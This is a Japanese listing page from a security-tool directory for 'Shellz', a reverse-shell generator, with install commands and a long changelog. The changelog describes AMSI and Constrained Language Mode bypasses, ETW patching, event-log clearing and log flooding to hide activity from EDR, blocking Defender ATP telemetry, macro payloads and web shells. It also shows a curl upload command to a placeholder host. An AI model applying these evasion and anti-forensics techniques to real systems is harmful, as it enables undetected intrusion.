Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
shells — revshellsを生成するスクリプト | Kitploit
ツール/GitHubGitHub/4ndr34z/shells
ペイロード生成エクスプロイトリバースエンジニアリングシェルコードポストエクスプロイトCTFペネトレーションテストコマンド&コントロール学習と教育レッドチーミングシェルコード生成ペイロード開発
487921年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
4ndr34z/shells

shells

revshellsを生成するスクリプト

リポジトリを見る

Shellz

一般的なリバースシェルを高速かつ簡単に生成するスクリプト。
特にPowerShellやPythonのリバースシェルが必要な場合に便利です。これらは正しくフォーマットするのが面倒なことが多いからです。

PowerShellリバースシェル

  • プロンプトと作業ディレクトリの上に username@computer.(domain) を表示
  • 部分的なAMSIバイパスと完全なAMSIバイパスを備えています。
  • TCP、UDP、SSLシェル
  • 新しいカスタムTCPリバースシェル!
  • 新しいカスタムSSLリバースシェル!
  • リフレクティブローディング theart42's の素晴らしい Sharpcat!
  • Windows PowerShell と PowerShell Core
  • ファイルのアップロードおよびダウンロード機能。(sc0tfree の Updog を使用)

Python

  • PowerShellがなくても問題ありません! 埋め込みPythonをロードします。署名済みのファイルで、Microsoft Intelligent Security Graph によって信頼されています。

ngrok サポート

  • ngrok はスクリプト内から開始/停止できます
  • ペイロードは ngrok アドレスを使用して生成されます

Updog サポート

  • スクリプト内から Updog を開始/停止できます
  • PowerShellリバースシェルにはアップロード/ダウンロード機能が組み込まれています
  • nix から curl を使ってアップロードするには: curl -F path="absolute path for Updog-folder" -F file=filename http://UpdogIP/upload

git から Shells をインストールするには

root@kitploit:~
git clone https://github.com/4ndr34z/shells
cd shells
./install.sh

BlackArch に shells をインストールするには:

root@kitploit:~
pacman -S shellz

スクリーンショット

メイン Netcat pwsh スクリーンショット3 スクリーンショット4 スクリーンショット5 シンプルリバースシェル

必要な依存関係

netcat, rlwrap, jq, basenc (coreutils)

オプションの依存関係

updog, ngrok, xclip

YouTube 動画

Shellz 1.7.5

バージョン 1.7.7

  • PowerShellセクションに Windows Terminal Init オプションを追加

バージョン 1.7.6

  • Pythonの下に、VBAマクロでPython Embeddedを使用するためのオプションを追加

バージョン 1.7.5

  • PowerShellの下に、msbuild.exeを使用した Constrained Language Mode バイパスのステージドローディングオプションを追加

バージョン 1.7.4

  • Python Embedded のペイロードを変更。スクリプトをディスクに保存しなくなりました
  • Pythonリバースシェルを少し難読化

バージョン 1.7.3

  • Windows用Python3ペイロードのタイポを修正
  • Pythonがインストールされておらず、PowerShellも使用できないWindowsマシンでリバースシェルを取得するために Python Embedded を使用するオプションを追加。

バージョン 1.7.1

  • SSLシェルのプロンプトに PS を追加
  • 完全なAMSIバイパスを短縮

バージョン 1.7

  • 最初にアクティブ化されていない場合の「updog is not running」メッセージを削除
  • メニューでの自動エンター選択をさらにいくつか削除

バージョン 1.6.9

  • block MDE コマンドのエラーを修正
  • init コマンドオプションを追加: cmd, conhost, powershell (ペイロードが8191文字を超える場合は、powershellから直接起動する必要があります)

バージョン 1.6.8

  • 「Microsoft-Windows-PowerShell/Operational」をさらに多くのエントリで埋めて、スクリプトの最初の実行を確実に押し出します。(ターゲットでスクリプトブロックのログ記録が有効になっている場合のみ動作します)

バージョン 1.6.7

  • URLセーフなBase64エンコーディングのみでした。ペイロードの通常のbase64エンコーディングを追加。

バージョン 1.6.6

  • powershellログを埋めるオプションを追加。これは複数のPowerShellセッションを開始し、長い文字列を渡して終了します。これにより、スクリプトブロックのログ記録が有効になっている場合、ログを埋め、以前のログエントリを効果的に押し出し、シェル自体の生成イベントを削除します。EDR検出を防ぐ可能性があります。SentinelOneで正常にテスト済み。
  • 混乱を招くメニュー選択を修正。ほとんどのメニューでオプション選択時の自動エンターを削除。
  • Metasploit Multi/handler リスナーを追加

バージョン 1.6.5

  • PowerShell ETWパッチを追加
  • PowerShell埋め込み完全AMSIバイパスを追加。
  • ペイロード長チェックを追加。Windowsコマンドプロンプト(cmd.exe)で使用できる文字列の最大長は8191文字です。

バージョン 1.6.4

  • PowerShell SSLシェルを修正

バージョン 1.6.3

  • PowerShellペイロードに変数展開を追加。バッチファイルなどから修正なしで実行可能に。

バージョン 1.6.2

  • Shellz に名称変更

バージョン 1.6.1

  • リスナーを新しいウィンドウで開始。(Linuxではオプション)

バージョン 1.6

  • PowerShell: Sharpcat のリフレクティブローディングオプションを追加

バージョン 1.5.9

  • PowerShell: 新しいカスタムSSLシェル
  • PowerShell: TCP/UDP/SSL 選択オプションを追加
  • PowerShell/OpenSSL: SSL使用時に正しいリスナーをデフォルトに設定

バージョン 1.5.8

  • インストーラを更新してラッパースクリプトを使用するように (1.5.8未満からアップグレードする場合は /usr/local/bin/shells を削除することを忘れないでください)

バージョン 1.5.7

  • PowerShell: Net.Sockets.TCPClient を使用しないユニークなTCPリバースシェルを構築
  • PowerShell: リモートエラーメッセージが適切に表示されるようになりました

バージョン 1.5.6

  • PHP: オプションとペイロードを追加

バージョン 1.5.5

  • 他のペイロードにシェル変更オプションを追加

バージョン 1.5.4

  • PowerShell: NIXペイロードを修正
  • PowerShell: C#のリフレクティブローディング用ペイロードを更新

バージョン 1.5.3

  • PowerShell: メニューにペイロードオプションを追加。

バージョン 1.5.2

  • PowerShell: より多くのAVベンダーを回避するためにリバースシェルを変更
  • PowerShell: ファイアウォールルールを追加。MS ATPがホームに電話するのを防ぐ(実行ユーザーにアクセス権がある場合)
  • PowerShell: VBA (MS Officeマクロ) を更新

バージョン 1.5.1

  • PowerShell: スクリプトブロックのログ記録と CheckSuspiciousContent を無効化
  • PowerShell: PowerShellイベントログをクリア(実行ユーザーにアクセス権がある場合)

バージョン 1.5.0

  • PowerShell: MS Officeマクロ用のVBAペイロードを追加
  • いくつかのNode.jsペイロードを追加

バージョン 1.4.9

  • シンプルなC#シェルを追加。
  • C#シェルをメモリにリフレクティブローディングするためのペイロードを追加。(完全なAMSIバイパスが必要)
  • これをカバーするためにRastamouseの完全なAMSIバイパスを追加
  • PowerShell: 完全なAMSIバイパスを自動的にアップロードして実行できます。部分的なAMSIバイパスがこれを可能にします。
  • C#シェル: メモリにロードする前に完全なAMSIバイパスを自動的にアップロードして実行
  • すべてのメニューにUpdogとngrokのステータスを表示

バージョン 1.4.8

  • 時には少ない方が良い。TCP/UDP PowerShellリバースシェルの難読化を削除。なぜなら、実際には回避するよりもAVをトリガーし、ペイロードが非常に大きくなったからです :-) ランダム化は引き続き使用。

バージョン 1.4.6

  • ウェブシェルを追加 (ASPX, PHP, JSP)

バージョン 1.4.5

  • Windows 32ビットおよび64ビット用の2つのC++リバースシェルバイナリを追加。

バージョン 1.4.4

  • Updogの開始/停止の処理を修正

バージョン 1.4.3

  • Updogサポートを追加
  • Netcatバイナリを追加。
  • PowerShell: アップロード/ダウンロード機能を作成 (アップロードにはファイル受信にUpdogが必要)
  • ngrokとUpdogの実行に関する詳細情報を追加。

バージョン 1.4.2

  • PowerShell: 新しい「ミニAMSIバイパス」を追加。(部分的なバイパス) Matt Graeberのリフレクションメソッドに基づく
  • PowerShell: PowerShellリバースシェルに「アップロード」機能を追加

バージョン 1.4.1

  • AMSIを削除。十分にテストされていません :-)

バージョン 1.4

  • PowerShellペイロード用のAMSIバイパスを追加

バージョン 1.3.9

  • ポート設定時のバグを修正
  • デフォルトポートを443に変更
  • PowerShell: さらに難読化

バージョン 1.3.8

  • PowerShell: UDPペイロードに小さな変更

バージョン 1.3.7

  • macOSではネイティブのncのみを使用。Homebrewのものは受信UDPで動作しないため
  • PowerShell: UDPペイロードを追加

バージョン 1.3.6

  • PowerShell: ペイロードを追加

バージョン 1.3.5

  • PowerShell: ペイロードにランダム化と難読化を追加

バージョン 1.3.4

  • PowerShell: ペイロードにUTF8エンコーディングを使用

バージョン 1.3.3

  • Golangを追加

バージョン 1.3.2

  • OpenSSLを追加

バージョン 1.3.1

  • Pythonリバースシェルのバグを修正
  • awkを追加
  • Bash UDPを追加

バージョン 1.3

  • Windows Pythonリバースシェルを追加

バージョン 1.2.9

  • ngrokの実行ステータスを追加

バージョン 1.2.8

  • インストールされていない場合、ngrokの選択肢を非表示

バージョン 1.2.7

  • インストールオプションを修正: 選択せずにEnterを押した場合、デフォルトオプションを実行しない

バージョン 1.2.6

  • ngrokのサポートを追加。

バージョン 1.2.4

  • インストールスクリプトを追加
  • 不足している依存関係を確認してインストールするためのインストールオプションを追加

バージョン 1.2.3

  • いくつかのPHPシェルを追加

バージョン 1.2.2

  • シェルを追加: Ruby、Perl、Telnet、zsh

バージョン 1.2.1

  • macOSでpbcopyを使用したクリップボードへのコピーを追加
  • macOSバージョンでは表示されないため、netcatリスニングに関する情報を追加

バージョン 1.2

  • ループするnetcatシェルを追加。10秒ごとにコールバック。シェルを失った場合に便利
  • macOSで実行する場合、netcat GNU netcat 0.7.0 Homebrewのチェックを追加

バージョン 1.1

  • macOSのサポートを追加
ツールをダウンロード